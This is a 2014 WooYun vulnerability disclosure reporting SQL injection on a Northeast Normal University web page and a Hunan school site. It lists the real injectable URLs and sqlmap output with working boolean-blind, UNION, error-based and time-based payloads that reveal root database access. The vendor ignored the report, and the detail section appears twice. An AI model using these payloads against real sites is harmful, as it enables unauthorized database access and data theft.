当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075817

漏洞标题：东北师范大学网站存在SQL注入漏洞

相关厂商：东北师范大学

漏洞作者： 徐研二

提交时间：2014-09-11 18:03

修复时间：2014-09-16 18:04

公开时间：2014-09-16 18:04

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-11： 细节已通知厂商并且等待厂商处理中
2014-09-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

东北师范大学网站存在SQL注入漏洞

详细说明：

注入点：

http://www.nenu.edu.cn/professor/pro/yul/c_jbxx_new.php?id=1112


用sqlmap跑跑看，结果如下：

sqlmap identified the following injection points with a total of 70 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1112 AND 5982=5982
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: id=-4713 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7163766
c71,0x46684a7965536d506757,0x71716f6871),NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (comment)
    Payload: id=1112 AND SLEEP(5)#
---
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.56
               banner parsing fingerprint: MySQL 5.0.56, logging enabled
               html error message fingerprint: MySQL
banner:    '5.0.56-log'
[23:46:47] [INFO] fetching current user
current user:    'root@%'
[23:46:47] [INFO] fetching current database
current database:    'nenunew'


附送：湖南广益实验中学网站存在SQL注入
注入点：

http://www.hngyzx.org/news_show.php?id=91151


用sqlmap跑跑看，结果如下：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=91151 AND 3003=3003
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=91151 AND (SELECT 6030 FROM(SELECT COUNT(*),CONCAT(0x7161696a71,
(SELECT (CASE WHEN (6030=6030) THEN 1 ELSE 0 END)),0x7171786f71,FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 15 columns
    Payload: id=-7159 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7161696a71,0
x64746f79614455454c72,0x7171786f71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=91151 AND SLEEP(5)
---
[16:08:41] [INFO] testing MySQL
[16:08:43] [INFO] confirming MySQL
[16:08:44] [INFO] the back-end DBMS is MySQL
[16:08:44] [INFO] fetching banner
[16:08:46] [INFO] retrieved: 5.0.51b-community-nt-log
[16:08:46] [INFO] actively fingerprinting MySQL
[16:08:47] [INFO] executing MySQL comment injection fingerprint
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.51
               html error message fingerprint: MySQL
banner:    '5.0.51b-community-nt-log'
[16:09:52] [INFO] fetching current user
[16:10:13] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[16:10:15] [INFO] retrieved: root@localhost
current user:    'root@localhost'
[16:10:15] [INFO] fetching current database
[16:10:18] [INFO] retrieved: gyzx
current database:    'gyzx'

漏洞证明：

注入点：

http://www.nenu.edu.cn/professor/pro/yul/c_jbxx_new.php?id=1112


用sqlmap跑跑看，结果如下：

sqlmap identified the following injection points with a total of 70 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1112 AND 5982=5982
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: id=-4713 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7163766
c71,0x46684a7965536d506757,0x71716f6871),NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (comment)
    Payload: id=1112 AND SLEEP(5)#
---
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.56
               banner parsing fingerprint: MySQL 5.0.56, logging enabled
               html error message fingerprint: MySQL
banner:    '5.0.56-log'
[23:46:47] [INFO] fetching current user
current user:    'root@%'
[23:46:47] [INFO] fetching current database
current database:    'nenunew'


附送：湖南广益实验中学网站存在SQL注入
注入点：

http://www.hngyzx.org/news_show.php?id=91151


用sqlmap跑跑看，结果如下：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=91151 AND 3003=3003
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=91151 AND (SELECT 6030 FROM(SELECT COUNT(*),CONCAT(0x7161696a71,
(SELECT (CASE WHEN (6030=6030) THEN 1 ELSE 0 END)),0x7171786f71,FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 15 columns
    Payload: id=-7159 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7161696a71,0
x64746f79614455454c72,0x7171786f71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=91151 AND SLEEP(5)
---
[16:08:41] [INFO] testing MySQL
[16:08:43] [INFO] confirming MySQL
[16:08:44] [INFO] the back-end DBMS is MySQL
[16:08:44] [INFO] fetching banner
[16:08:46] [INFO] retrieved: 5.0.51b-community-nt-log
[16:08:46] [INFO] actively fingerprinting MySQL
[16:08:47] [INFO] executing MySQL comment injection fingerprint
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.51
               html error message fingerprint: MySQL
banner:    '5.0.51b-community-nt-log'
[16:09:52] [INFO] fetching current user
[16:10:13] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[16:10:15] [INFO] retrieved: root@localhost
current user:    'root@localhost'
[16:10:15] [INFO] fetching current database
[16:10:18] [INFO] retrieved: gyzx
current database:    'gyzx'

修复方案：

你们更专业。

版权声明：转载请注明来源 徐研二@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-09-16 18:04

厂商回复：

最新状态：

暂无

漏洞评价：

评论